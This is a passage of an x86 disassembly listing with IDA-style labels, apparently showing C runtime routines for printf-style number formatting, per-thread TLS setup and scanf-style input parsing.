sub_416492+25Fj test word ptr [ebp+var_8], 830h jnz short loc_41678E or byte ptr [ebp+var_8+1], 8 loc_41678E: ; CODE XREF: sub_416492+2F6j ; sub_416492+336j add [ebp+arg_8], 4 test word ptr [ebp+var_8], 810h mov eax, [ebp+arg_8] jz short loc_4167FF movsx eax, word ptr [eax-4] push eax lea eax, [ebp+var_254] push eax call sub_41C089 test eax, eax pop ecx pop ecx mov [ebp+var_14], eax jge short loc_41680F mov [ebp+var_34], 1 jmp short loc_41680F ; --------------------------------------------------------------------------- loc_4167C0: ; CODE XREF: sub_416492+250j sub eax, 5Ah jz short loc_41681D sub eax, 9 jz short loc_41678E dec eax jnz loc_416AE5 loc_4167D1: ; CODE XREF: sub_416492+48Dj or [ebp+var_8], 40h loc_4167D5: ; CODE XREF: sub_416492+4B1j mov [ebp+var_14], 0Ah loc_4167DC: ; CODE XREF: sub_416492+519j ; sub_416492+532j ... mov ebx, [ebp+var_8] mov esi, 8000h test ebx, esi jz loc_416A0D mov ecx, [ebp+arg_8] mov eax, [ecx] mov edx, [ecx+4] add ecx, 8 mov [ebp+arg_8], ecx jmp loc_416A35 ; --------------------------------------------------------------------------- loc_4167FF: ; CODE XREF: sub_416492+309j mov al, [eax-4] mov [ebp+var_254], al mov [ebp+var_14], 1 loc_41680F: ; CODE XREF: sub_416492+323j ; sub_416492+32Cj lea eax, [ebp+var_254] mov [ebp+var_10], eax jmp loc_416AE5 ; --------------------------------------------------------------------------- loc_41681D: ; CODE XREF: sub_416492+331j add [ebp+arg_8], 4 mov eax, [ebp+arg_8] mov eax, [eax-4] test eax, eax jz short loc_416858 mov ecx, [eax+4] test ecx, ecx jz short loc_416858 test byte ptr [ebp+var_8+1], 8 movsx eax, word ptr [eax] mov [ebp+var_10], ecx jz short loc_41684F cdq sub eax, edx sar eax, 1 mov [ebp+var_28], 1 jmp loc_416AE2 ; --------------------------------------------------------------------------- loc_41684F: ; CODE XREF: sub_416492+3AAj and [ebp+var_28], 0 jmp loc_416AE2 ; --------------------------------------------------------------------------- loc_416858: ; CODE XREF: sub_416492+397j ; sub_416492+39Ej mov eax, off_42D7D8 mov [ebp+var_10], eax push eax jmp loc_416911 ; --------------------------------------------------------------------------- loc_416866: ; CODE XREF: sub_416492+2DEj jnz short loc_416876 cmp bl, 67h jnz short loc_4168AD mov [ebp+var_C], 1 jmp short loc_4168AD ; --------------------------------------------------------------------------- loc_416876: ; CODE XREF: sub_416492:loc_416866j mov eax, 200h cmp [ebp+var_C], eax jle short loc_416883 mov [ebp+var_C], eax loc_416883: ; CODE XREF: sub_416492+3ECj mov edi, 0A3h cmp [ebp+var_C], edi jle short loc_4168AD mov eax, [ebp+var_C] add eax, 15Dh push eax call sub_414CAD test eax, eax pop ecx mov [ebp+var_2C], eax jz short loc_4168AA mov [ebp+var_10], eax mov esi, eax jmp short loc_4168AD ; --------------------------------------------------------------------------- loc_4168AA: ; CODE XREF: sub_416492+40Fj mov [ebp+var_C], edi loc_4168AD: ; CODE XREF: sub_416492+2EBj ; sub_416492+3D9j ... mov eax, [ebp+arg_8] mov ecx, [eax] push [ebp+var_3C] add eax, 8 push [ebp+var_C] mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_48], eax movsx eax, bl push eax lea eax, [ebp+var_4C] push esi push eax mov [ebp+var_4C], ecx call off_42DE98 mov edi, [ebp+var_8] add esp, 14h and edi, 80h jz short loc_4168F2 cmp [ebp+var_C], 0 jnz short loc_4168F2 push esi call off_42DEA4 pop ecx loc_4168F2: ; CODE XREF: sub_416492+450j ; sub_416492+456j cmp bl, 67h jnz short loc_416903 test edi, edi jnz short loc_416903 push esi call off_42DE9C pop ecx loc_416903: ; CODE XREF: sub_416492+463j ; sub_416492+467j cmp byte ptr [esi], 2Dh jnz short loc_416910 or byte ptr [ebp+var_8+1], 1 inc esi mov [ebp+var_10], esi loc_416910: ; CODE XREF: sub_416492+474j push esi loc_416911: ; CODE XREF: sub_416492+3CFj call sub_4177F0 pop ecx jmp loc_416AE2 ; --------------------------------------------------------------------------- loc_41691C: ; CODE XREF: sub_416492+23Ej sub eax, 69h jz loc_4167D1 sub eax, 5 jz loc_4169E3 dec eax jz loc_4169C9 dec eax jz short loc_416996 sub eax, 3 jz loc_416714 dec eax dec eax jz loc_4167D5 sub eax, 3 jnz loc_416AE5 mov [ebp+var_30], 27h jmp short loc_4169A0 ; --------------------------------------------------------------------------- loc_41695B: ; CODE XREF: sub_416492+4D4j dec ecx cmp word ptr [eax], 0 jz short loc_416968 inc eax inc eax loc_416964: ; CODE XREF: sub_416492+2BEj test ecx, ecx jnz short loc_41695B loc_416968: ; CODE XREF: sub_416492+4CEj sub eax, [ebp+var_10] sar eax, 1 jmp loc_416AE2 ; --------------------------------------------------------------------------- loc_416972: ; CODE XREF: sub_416492+2A2j test eax, eax jnz short loc_41697E mov eax, off_42D7D8 mov [ebp+var_10], eax loc_41697E: ; CODE XREF: sub_416492+4E2j mov eax, [ebp+var_10] jmp short loc_41698A ; --------------------------------------------------------------------------- loc_416983: ; CODE XREF: sub_416492+4FAj dec ecx cmp byte ptr [eax], 0 jz short loc_41698E inc eax loc_41698A: ; CODE XREF: sub_416492+4EFj test ecx, ecx jnz short loc_416983 loc_41698E: ; CODE XREF: sub_416492+4F5j sub eax, [ebp+var_10] jmp loc_416AE2 ; --------------------------------------------------------------------------- loc_416996: ; CODE XREF: sub_416492+4A4j mov [ebp+var_C], 8 loc_41699D: ; CODE XREF: sub_416492+256j mov [ebp+var_30], ecx loc_4169A0: ; CODE XREF: sub_416492+4C7j test byte ptr [ebp+var_8], 80h mov [ebp+var_14], 10h jz loc_4167DC mov al, byte ptr [ebp+var_30] add al, 51h mov [ebp+var_1C], 30h mov [ebp+var_1B], al mov [ebp+var_20], 2 jmp loc_4167DC ; --------------------------------------------------------------------------- loc_4169C9: ; CODE XREF: sub_416492+49Dj test byte ptr [ebp+var_8], 80h mov [ebp+var_14], 8 jz loc_4167DC or byte ptr [ebp+var_8+1], 2 jmp loc_4167DC ; --------------------------------------------------------------------------- loc_4169E3: ; CODE XREF: sub_416492+496j add [ebp+arg_8], 4 test byte ptr [ebp+var_8], 20h mov eax, [ebp+arg_8] mov eax, [eax-4] jz short loc_4169FC mov cx, word ptr [ebp+var_18] mov [eax], cx jmp short loc_416A01 ; --------------------------------------------------------------------------- loc_4169FC: ; CODE XREF: sub_416492+55Fj mov ecx, [ebp+var_18] mov [eax], ecx loc_416A01: ; CODE XREF: sub_416492+568j mov [ebp+var_34], 1 jmp loc_416BD4 ; --------------------------------------------------------------------------- loc_416A0D: ; CODE XREF: sub_416492+354j add [ebp+arg_8], 4 test bl, 20h mov eax, [ebp+arg_8] jz short loc_416A2B test bl, 40h jz short loc_416A25 movsx eax, word ptr [eax-4] loc_416A22: ; CODE XREF: sub_416492+597j ; sub_416492+59Fj cdq jmp short loc_416A35 ; --------------------------------------------------------------------------- loc_416A25: ; CODE XREF: sub_416492+58Aj movzx eax, word ptr [eax-4] jmp short loc_416A22 ; --------------------------------------------------------------------------- loc_416A2B: ; CODE XREF: sub_416492+585j test bl, 40h mov eax, [eax-4] jnz short loc_416A22 xor edx, edx loc_416A35: ; CODE XREF: sub_416492+368j ; sub_416492+591j test bl, 40h jz short loc_416A4F test edx, edx jg short loc_416A4F jl short loc_416A44 test eax, eax jnb short loc_416A4F loc_416A44: ; CODE XREF: sub_416492+5ACj neg eax adc edx, 0 neg edx or byte ptr [ebp+var_8+1], 1 loc_416A4F: ; CODE XREF: sub_416492+5A6j ; sub_416492+5AAj ... test [ebp+var_8], esi mov ebx, eax mov edi, edx jnz short loc_416A5A xor edi, edi loc_416A5A: ; CODE XREF: sub_416492+5C4j cmp [ebp+var_C], 0 jge short loc_416A69 mov [ebp+var_C], 1 jmp short loc_416A7A ; --------------------------------------------------------------------------- loc_416A69: ; CODE XREF: sub_416492+5CCj and [ebp+var_8], 0FFFFFFF7h mov eax, 200h cmp [ebp+var_C], eax jle short loc_416A7A mov [ebp+var_C], eax loc_416A7A: ; CODE XREF: sub_416492+5D5j ; sub_416492+5E3j mov eax, ebx or eax, edi jnz short loc_416A84 and [ebp+var_20], 0 loc_416A84: ; CODE XREF: sub_416492+5ECj lea esi, [ebp+var_55] loc_416A87: ; CODE XREF: sub_416492+627j mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jg short loc_416A97 mov eax, ebx or eax, edi jz short loc_416ABB loc_416A97: ; CODE XREF: sub_416492+5FDj mov eax, [ebp+var_14] cdq push edx push eax push edi push ebx call sub_414D90 add ecx, 30h cmp ecx, 39h mov [ebp+var_40], ebx mov ebx, eax mov edi, edx jle short loc_416AB6 add ecx, [ebp+var_30] loc_416AB6: ; CODE XREF: sub_416492+61Fj mov [esi], cl dec esi jmp short loc_416A87 ; --------------------------------------------------------------------------- loc_416ABB: ; CODE XREF: sub_416492+603j lea eax, [ebp+var_55] sub eax, esi inc esi test byte ptr [ebp+var_8+1], 2 mov [ebp+var_14], eax mov [ebp+var_10], esi jz short loc_416AE5 mov ecx, esi cmp byte ptr [ecx], 30h jnz short loc_416AD8 test eax, eax jnz short loc_416AE5 loc_416AD8: ; CODE XREF: sub_416492+640j dec [ebp+var_10] mov ecx, [ebp+var_10] mov byte ptr [ecx], 30h inc eax loc_416AE2: ; CODE XREF: sub_416492+3B8j ; sub_416492+3C1j ... mov [ebp+var_14], eax loc_416AE5: ; CODE XREF: sub_416492+270j ; sub_416492+339j ... cmp [ebp+var_34], 0 jnz loc_416BD4 mov ebx, [ebp+var_8] test bl, 40h jz short loc_416B1D test bh, 1 jz short loc_416B02 mov [ebp+var_1C], 2Dh jmp short loc_416B16 ; --------------------------------------------------------------------------- loc_416B02: ; CODE XREF: sub_416492+668j test bl, 1 jz short loc_416B0D mov [ebp+var_1C], 2Bh jmp short loc_416B16 ; --------------------------------------------------------------------------- loc_416B0D: ; CODE XREF: sub_416492+673j test bl, 2 jz short loc_416B1D mov [ebp+var_1C], 20h loc_416B16: ; CODE XREF: sub_416492+66Ej ; sub_416492+679j mov [ebp+var_20], 1 loc_416B1D: ; CODE XREF: sub_416492+663j ; sub_416492+67Ej mov esi, [ebp+var_24] sub esi, [ebp+var_20] sub esi, [ebp+var_14] test bl, 0Ch jnz short loc_416B3C push [ebp+arg_0] lea eax, [ebp+var_18] push esi push 20h call sub_416437 add esp, 0Ch loc_416B3C: ; CODE XREF: sub_416492+697j push [ebp+var_20] mov edi, [ebp+arg_0] lea eax, [ebp+var_18] lea ecx, [ebp+var_1C] call sub_41645B test bl, 8 pop ecx jz short loc_416B67 test bl, 4 jnz short loc_416B67 push edi push esi push 30h lea eax, [ebp+var_18] call sub_416437 add esp, 0Ch loc_416B67: ; CODE XREF: sub_416492+6BFj ; sub_416492+6C4j cmp [ebp+var_28], 0 jz short loc_416BAE cmp [ebp+var_14], 0 jle short loc_416BAE mov eax, [ebp+var_14] mov ebx, [ebp+var_10] mov [ebp+var_40], eax loc_416B7C: ; CODE XREF: sub_416492+718j dec [ebp+var_40] xor eax, eax mov ax, [ebx] push eax lea eax, [ebp+var_54] push eax call sub_41C089 inc ebx pop ecx inc ebx test eax, eax pop ecx jle short loc_416BBD mov edi, [ebp+arg_0] push eax lea eax, [ebp+var_18] lea ecx, [ebp+var_54] call sub_41645B cmp [ebp+var_40], 0 pop ecx jnz short loc_416B7C jmp short loc_416BBD ; --------------------------------------------------------------------------- loc_416BAE: ; CODE XREF: sub_416492+6D9j ; sub_416492+6DFj push [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ebp+var_18] call sub_41645B pop ecx loc_416BBD: ; CODE XREF: sub_416492+702j ; sub_416492+71Aj test byte ptr [ebp+var_8], 4 jz short loc_416BD4 push [ebp+arg_0] lea eax, [ebp+var_18] push esi push 20h call sub_416437 add esp, 0Ch loc_416BD4: ; CODE XREF: sub_416492+576j ; sub_416492+657j ... cmp [ebp+var_2C], 0 jz short loc_416BE7 ; default push [ebp+var_2C] call sub_414844 and [ebp+var_2C], 0 pop ecx loc_416BE7: ; CODE XREF: sub_416492+74j ; sub_416492+99j ... mov edi, [ebp+arg_4] ; default mov bl, [edi] test bl, bl jnz loc_4164C7 loc_416BF4: ; CODE XREF: sub_416492+40j pop edi pop esi loc_416BF6: ; CODE XREF: sub_416492+29j mov ecx, [ebp+var_4] xor ecx, [ebp+4] mov eax, [ebp+var_18] pop ebx call sub_41A026 leave retn sub_416492 endp ; --------------------------------------------------------------------------- off_416C07 dd offset loc_416691 ; DATA XREF: sub_416492+7Ar dd offset loc_416513 ; jump table for switch statement dd offset loc_416530 dd offset loc_41657C dd offset loc_4165B7 dd offset loc_4165C0 dd offset loc_4165F8 dd offset loc_4166CA ; =============== S U B R O U T I N E ======================================= sub_416C27 proc near ; CODE XREF: sub_416CB6:loc_416CCFp ; sub_416CB6:loc_416D1Cp call sub_417FCC mov eax, dword_42D7E0 cmp eax, 0FFFFFFFFh jz short locret_416C44 push eax call ds:dword_42016C ; TlsFree or dword_42D7E0, 0FFFFFFFFh locret_416C44: ; CODE XREF: sub_416C27+Dj retn sub_416C27 endp ; =============== S U B R O U T I N E ======================================= sub_416C45 proc near ; CODE XREF: sub_4145C4p sub_4145D1p ... push ebx push esi call ds:dword_420008 ; RtlGetLastWin32Error push dword_42D7E0 mov ebx, eax call ds:dword_42017C ; TlsGetValue mov esi, eax test esi, esi jnz short loc_416CAA push 88h push 1 call sub_41C0B0 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_416CA2 push esi push dword_42D7E0 call ds:dword_420178 ; TlsSetValue test eax, eax jz short loc_416CA2 mov dword ptr [esi+54h], offset dword_42E058 mov dword ptr [esi+14h], 1 call ds:dword_420174 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax jmp short loc_416CAA ; --------------------------------------------------------------------------- loc_416CA2: ; CODE XREF: sub_416C45+2Ej ; sub_416C45+3Fj push 10h call sub_4160D0 pop ecx loc_416CAA: ; CODE XREF: sub_416C45+1Aj ; sub_416C45+5Bj push ebx call ds:dword_420170 ; RtlRestoreLastWin32Error mov eax, esi pop esi pop ebx retn sub_416C45 endp ; =============== S U B R O U T I N E ======================================= sub_416CB6 proc near ; CODE XREF: .text:loc_4161F4p call sub_417F83 test eax, eax jz short loc_416CCF call ds:dword_420180 ; TlsAlloc cmp eax, 0FFFFFFFFh mov dword_42D7E0, eax jnz short loc_416CD7 loc_416CCF: ; CODE XREF: sub_416CB6+7j call sub_416C27 xor eax, eax retn ; --------------------------------------------------------------------------- loc_416CD7: ; CODE XREF: sub_416CB6+17j push esi push 88h push 1 call sub_41C0B0 mov esi, eax test esi, esi pop ecx pop ecx jz short loc_416D1C push esi push dword_42D7E0 call ds:dword_420178 ; TlsSetValue test eax, eax jz short loc_416D1C mov dword ptr [esi+54h], offset dword_42E058 mov dword ptr [esi+14h], 1 call ds:dword_420174 ; GetCurrentThreadId or dword ptr [esi+4], 0FFFFFFFFh mov [esi], eax xor eax, eax inc eax pop esi retn ; --------------------------------------------------------------------------- loc_416D1C: ; CODE XREF: sub_416CB6+34j ; sub_416CB6+45j call sub_416C27 xor eax, eax pop esi retn sub_416CB6 endp ; =============== S U B R O U T I N E ======================================= sub_416D25 proc near ; CODE XREF: sub_416D3B+52p ; sub_416D3B+1EFp ... dec dword ptr [edx+4] js short loc_416D33 mov ecx, [edx] movzx eax, byte ptr [ecx] inc ecx mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_416D33: ; CODE XREF: sub_416D25+3j push edx call sub_418C09 pop ecx retn sub_416D25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416D3B proc near ; CODE XREF: sub_4145F3+2Ap var_1D8 = word ptr -1D8h var_1D4 = byte ptr -1D4h var_1D3 = byte ptr -1D3h var_1D0 = dword ptr -1D0h var_1CC = dword ptr -1CCh var_1C8 = byte ptr -1C8h var_1C7 = byte ptr -1C7h var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_39 = byte ptr -39h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_29 = byte ptr -29h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push 1C8h push offset stru_428E48 call __SEH_prolog mov eax, dword_42DEB8 xor eax, [ebp+4] mov [ebp+var_1C], eax xor eax, eax mov [ebp+var_20], eax mov [ebp+var_24], eax mov [ebp+var_28], eax and [ebp+var_29], al mov [ebp+var_30], eax mov [ebp+var_34], eax loc_416D69: ; CODE XREF: sub_416D3B+88j ; sub_416D3B+A55j ... mov eax, [ebp+arg_4] mov al, [eax] test al, al jz loc_4177A8 movzx eax, al push eax call sub_41C1E4 pop ecx test eax, eax jz short loc_416DC5 dec [ebp+var_30] loc_416D87: ; CODE XREF: sub_416D3B+62j inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_416D25 mov esi, eax push esi call sub_41C1E4 pop ecx test eax, eax jnz short loc_416D87 cmp esi, 0FFFFFFFFh jz short loc_416DAF push [ebp+arg_0] push esi call sub_41C21E pop ecx pop ecx loc_416DAF: ; CODE XREF: sub_416D3B+67j ; sub_416D3B+86j inc [ebp+arg_4] mov eax, [ebp+arg_4] movzx eax, byte ptr [eax] push eax call sub_41C1E4 pop ecx test eax, eax jnz short loc_416DAF jmp short loc_416D69 ; --------------------------------------------------------------------------- loc_416DC5: ; CODE XREF: sub_416D3B+47j mov esi, [ebp+arg_4] cmp byte ptr [esi], 25h jnz loc_417724 xor edi, edi mov [ebp+var_38], edi and [ebp+var_39], 0 mov [ebp+var_40], edi mov [ebp+var_44], edi mov [ebp+var_48], edi and [ebp+var_49], 0 and [ebp+var_4A], 0 and [ebp+var_4B], 0 and [ebp+var_4C], 0 and [ebp+var_4D], 0 and [ebp+var_4E], 0 mov [ebp+var_4F], 1 mov [ebp+var_54], edi loc_416E02: ; CODE XREF: sub_416D3B+186j inc esi movzx ebx, byte ptr [esi] movzx eax, bl push eax call sub_41C16B pop ecx test eax, eax jz short loc_416E23 inc [ebp+var_44] lea eax, [edi+edi*4] lea edi, [ebx+eax*2-30h] jmp loc_416EBD ; --------------------------------------------------------------------------- loc_416E23: ; CODE XREF: sub_416D3B+D7j cmp ebx, 4Eh jg short loc_416E9B jz loc_416EBD cmp ebx, 2Ah jz short loc_416E96 cmp ebx, 46h jz loc_416EBD cmp ebx, 49h jz short loc_416E4B cmp ebx, 4Ch jnz short loc_416EAA inc [ebp+var_4F] jmp short loc_416EBD ; --------------------------------------------------------------------------- loc_416E4B: ; CODE XREF: sub_416D3B+104j mov cl, [esi+1] cmp cl, 36h jnz short loc_416E6A lea eax, [esi+2] cmp byte ptr [eax], 34h jnz short loc_416E6A mov esi, eax inc [ebp+var_54] and [ebp+var_5C], 0 and [ebp+var_58], 0 jmp short loc_416EBD ; --------------------------------------------------------------------------- loc_416E6A: ; CODE XREF: sub_416D3B+116j ; sub_416D3B+11Ej cmp cl, 33h jnz short loc_416E7B lea eax, [esi+2] cmp byte ptr [eax], 32h jnz short loc_416E7B mov esi, eax jmp short loc_416EBD ; --------------------------------------------------------------------------- loc_416E7B: ; CODE XREF: sub_416D3B+132j ; sub_416D3B+13Aj cmp cl, 64h jz short loc_416EBD cmp cl, 69h jz short loc_416EBD cmp cl, 6Fh jz short loc_416EBD cmp cl, 78h jz short loc_416EBD cmp cl, 58h jnz short loc_416EAA jmp short loc_416EBD ; --------------------------------------------------------------------------- loc_416E96: ; CODE XREF: sub_416D3B+F6j inc [ebp+var_4B] jmp short loc_416EBD ; --------------------------------------------------------------------------- loc_416E9B: ; CODE XREF: sub_416D3B+EBj cmp ebx, 68h jz short loc_416EB7 cmp ebx, 6Ch jz short loc_416EAF cmp ebx, 77h jz short loc_416EB2 loc_416EAA: ; CODE XREF: sub_416D3B+109j ; sub_416D3B+157j inc [ebp+var_4C] jmp short loc_416EBD ; --------------------------------------------------------------------------- loc_416EAF: ; CODE XREF: sub_416D3B+168j inc [ebp+var_4F] loc_416EB2: ; CODE XREF: sub_416D3B+16Dj inc [ebp+var_4E] jmp short loc_416EBD ; --------------------------------------------------------------------------- loc_416EB7: ; CODE XREF: sub_416D3B+163j dec [ebp+var_4F] dec [ebp+var_4E] loc_416EBD: ; CODE XREF: sub_416D3B+E3j ; sub_416D3B+EDj ... cmp [ebp+var_4C], 0 jz loc_416E02 mov [ebp+var_48], edi mov [ebp+arg_4], esi cmp [ebp+var_4B], 0 jnz short loc_416EE7 mov eax, [ebp+arg_8] mov [ebp+var_60], eax add eax, 4 mov [ebp+arg_8], eax mov ebx, [eax-4] mov [ebp+var_64], ebx jmp short loc_416EEA ; --------------------------------------------------------------------------- loc_416EE7: ; CODE XREF: sub_416D3B+196j mov ebx, [ebp+var_64] loc_416EEA: ; CODE XREF: sub_416D3B+1AAj and [ebp+var_4C], 0 cmp [ebp+var_4E], 0 jnz short loc_416F08 mov al, [esi] cmp al, 53h jz short loc_416F04 cmp al, 43h jz short loc_416F04 or [ebp+var_4E], 0FFh jmp short loc_416F08 ; --------------------------------------------------------------------------- loc_416F04: ; CODE XREF: sub_416D3B+1BDj ; sub_416D3B+1C1j mov [ebp+var_4E], 1 loc_416F08: ; CODE XREF: sub_416D3B+1B7j ; sub_416D3B+1C7j movzx edi, byte ptr [esi] or edi, 20h mov [ebp+var_68], edi cmp edi, 6Eh jz short loc_416F3F cmp edi, 63h jz loc_416F9F cmp edi, 7Bh jz short loc_416F9F loc_416F24: ; CODE XREF: sub_416D3B+1FFj inc [ebp+var_30] mov edx, [ebp+arg_0] call sub_416D25 mov esi, eax push esi call sub_41C1E4 pop ecx test eax, eax jnz short loc_416F24 mov [ebp+var_28], esi loc_416F3F: ; CODE XREF: sub_416D3B+1D9j mov esi, [ebp+arg_0] loc_416F42: ; CODE XREF: sub_416D3B+274j mov ecx, [ebp+var_44] test ecx, ecx jz short loc_416F53 cmp [ebp+var_48], 0 jz loc_4171A8 loc_416F53: ; CODE XREF: sub_416D3B+20Cj cmp edi, 6Fh jg loc_417177 jz loc_4174EA cmp edi, 63h jz loc_417156 cmp edi, 64h jz loc_4174EA jle loc_41719D cmp edi, 67h jle short loc_416FC9 cmp edi, 69h jz short loc_416FB1 cmp edi, 6Eh jnz loc_41719D mov eax, [ebp+var_30] cmp [ebp+var_4B], 0 jz loc_4176FC jmp loc_41771C ; --------------------------------------------------------------------------- loc_416F9F: ; CODE XREF: sub_416D3B+1DEj ; sub_416D3B+1E7j inc [ebp+var_30] mov esi, [ebp+arg_0] mov edx, esi call sub_416D25 mov [ebp+var_28], eax jmp short loc_416F42 ; --------------------------------------------------------------------------- loc_416FB1: ; CODE XREF: sub_416D3B+247j push 64h pop edi loc_416FB4: ; CODE XREF: sub_416D3B+457j mov ebx, [ebp+var_28] cmp ebx, 2Dh jnz loc_4173E3 mov [ebp+var_4A], 1 jmp loc_4173E8 ; --------------------------------------------------------------------------- loc_416FC9: ; CODE XREF: sub_416D3B+242j lea esi, [ebp+var_1C8] mov ebx, [ebp+var_28] cmp ebx, 2Dh jnz short loc_416FE5 mov [ebp+var_1C8], bl lea esi, [ebp+var_1C7] jmp short loc_416FEA ; --------------------------------------------------------------------------- loc_416FE5: ; CODE XREF: sub_416D3B+29Aj cmp ebx, 2Bh jnz short loc_417001 loc_416FEA: ; CODE XREF: sub_416D3B+2A8j dec [ebp+var_48] inc [ebp+var_30] mov edi, [ebp+arg_0] mov edx, edi call sub_416D25 mov ebx, eax mov [ebp+var_28], ebx jmp short loc_417004 ; --------------------------------------------------------------------------- loc_417001: ; CODE XREF: sub_416D3B+2ADj mov edi, [ebp+arg_0] loc_417004: ; CODE XREF: sub_416D3B+2C4j cmp [ebp+var_44], 0 jz short loc_417013 cmp [ebp+var_48], 15Dh jle short loc_41703B loc_417013: ; CODE XREF: sub_416D3B+2CDj mov [ebp+var_48], 15Dh jmp short loc_41703B ; --------------------------------------------------------------------------- loc_41701C: ; CODE XREF: sub_416D3B+309j mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_417046 inc [ebp+var_40] mov [esi], bl inc esi inc [ebp+var_30] mov edx, edi call sub_416D25 mov ebx, eax mov [ebp+var_28], ebx loc_41703B: ; CODE XREF: sub_416D3B+2D6j ; sub_416D3B+2DFj push ebx call sub_41C16B pop ecx test eax, eax jnz short loc_41701C loc_417046: ; CODE XREF: sub_416D3B+2E9j cmp byte_42E108, bl jnz short loc_417098 mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_417098 inc [ebp+var_30] mov edx, edi call sub_416D25 mov ebx, eax mov al, byte_42E108 mov [esi], al inc esi jmp short loc_41708A ; --------------------------------------------------------------------------- loc_41706E: ; CODE XREF: sub_416D3B+35Bj mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_417098 inc [ebp+var_40] mov [esi], bl inc esi inc [ebp+var_30] mov edx, edi call sub_416D25 mov ebx, eax loc_41708A: ; CODE XREF: sub_416D3B+331j push ebx mov [ebp+var_28], ebx call sub_41C16B pop ecx test eax, eax jnz short loc_41706E loc_417098: ; CODE XREF: sub_416D3B+311j ; sub_416D3B+31Bj ... cmp [ebp+var_40], 0 jz short loc_41710D cmp ebx, 65h jz short loc_4170A8 cmp ebx, 45h jnz short loc_41710D loc_4170A8: ; CODE XREF: sub_416D3B+366j mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_41710D mov byte ptr [esi], 65h inc esi inc [ebp+var_30] mov edx, edi call sub_416D25 mov ebx, eax mov [ebp+var_28], ebx cmp ebx, 2Dh jnz short loc_4170CF mov [esi], al inc esi jmp short loc_4170D4 ; --------------------------------------------------------------------------- loc_4170CF: ; CODE XREF: sub_416D3B+38Dj cmp ebx, 2Bh jnz short loc_417102 loc_4170D4: ; CODE XREF: sub_416D3B+392j mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jnz short loc_4170F3 and [ebp+var_48], eax jmp short loc_417102 ; --------------------------------------------------------------------------- loc_4170E3: ; CODE XREF: sub_416D3B+3D0j mov eax, [ebp+var_48] dec [ebp+var_48] test eax, eax jz short loc_41710D inc [ebp+var_40] mov [esi], bl inc esi loc_4170F3: ; CODE XREF: sub_416D3B+3A1j mov edx, edi inc [ebp+var_30] call sub_416D25 mov ebx, eax mov [ebp+var_28], ebx loc_417102: ; CODE XREF: sub_416D3B+397j ; sub_416D3B+3A6j push ebx call sub_41C16B pop ecx test eax, eax jnz short loc_4170E3 loc_41710D: ; CODE XREF: sub_416D3B+361j ; sub_416D3B+36Bj ... dec [ebp+var_30] cmp ebx, 0FFFFFFFFh jz short loc_41711E push edi push ebx call sub_41C21E pop ecx pop ecx loc_41711E: ; CODE XREF: sub_416D3B+3D8j cmp [ebp+var_40], 0 jz loc_4177A8 cmp [ebp+var_4B], 0 jnz loc_41771C inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C8] push eax push [ebp+var_64] movsx eax, [ebp+var_4F] dec eax push eax call off_42DEA0 add esp, 0Ch jmp loc_41771C ; --------------------------------------------------------------------------- loc_417156: ; CODE XREF: sub_416D3B+22Aj test ecx, ecx jnz short loc_417164 mov [ebp+var_44], 1 inc [ebp+var_48] loc_417164: ; CODE XREF: sub_416D3B+41Dj ; sub_416D3B+44Aj cmp [ebp+var_4E], 0 jle loc_4172EF mov [ebp+var_4D], 1 jmp loc_4172EF ; --------------------------------------------------------------------------- loc_417177: ; CODE XREF: sub_416D3B+21Bj mov eax, edi sub eax, 70h jz loc_4174E6 sub eax, 3 jz short loc_417164 dec eax dec eax jz loc_4174EA sub eax, 3 jz loc_416FB4 sub eax, 3 jz short loc_4171C9 loc_41719D: ; CODE XREF: sub_416D3B+239j ; sub_416D3B+24Cj mov eax, [ebp+arg_4] movzx eax, byte ptr [eax] cmp eax, [ebp+var_28] jz short loc_4171B1 loc_4171A8: ; CODE XREF: sub_416D3B+212j cmp [ebp+var_28], 0FFFFFFFFh jmp loc_417778 ; --------------------------------------------------------------------------- loc_4171B1: ; CODE XREF: sub_416D3B+46Bj dec [ebp+var_29] cmp [ebp+var_4B], 0 jnz loc_41771C mov eax, [ebp+var_60] mov [ebp+arg_8], eax jmp loc_41771C ; --------------------------------------------------------------------------- loc_4171C9: ; CODE XREF: sub_416D3B+460j cmp [ebp+var_4E], 0 jle short loc_4171D3 mov [ebp+var_4D], 1 loc_4171D3: ; CODE XREF: sub_416D3B+492j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi mov [ebp+var_1CC], edi cmp byte ptr [edi], 5Eh jnz short loc_4171F0 inc edi mov [ebp+var_1CC], edi or [ebp+var_49], 0FFh loc_4171F0: ; CODE XREF: sub_416D3B+4A8j mov ebx, [ebp+var_20] test ebx, ebx jnz short loc_417248 and [ebp+ms_exc.disabled], ebx push 20h pop eax call sub_414630 mov [ebp+ms_exc.old_esp], esp mov ebx, esp mov [ebp+var_20], ebx or [ebp+ms_exc.disabled], 0FFFFFFFFh jmp short loc_417248 ; --------------------------------------------------------------------------- loc_417210: ; DATA XREF: .rdata:stru_428E48o xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_417214: ; DATA XREF: .rdata:stru_428E48o 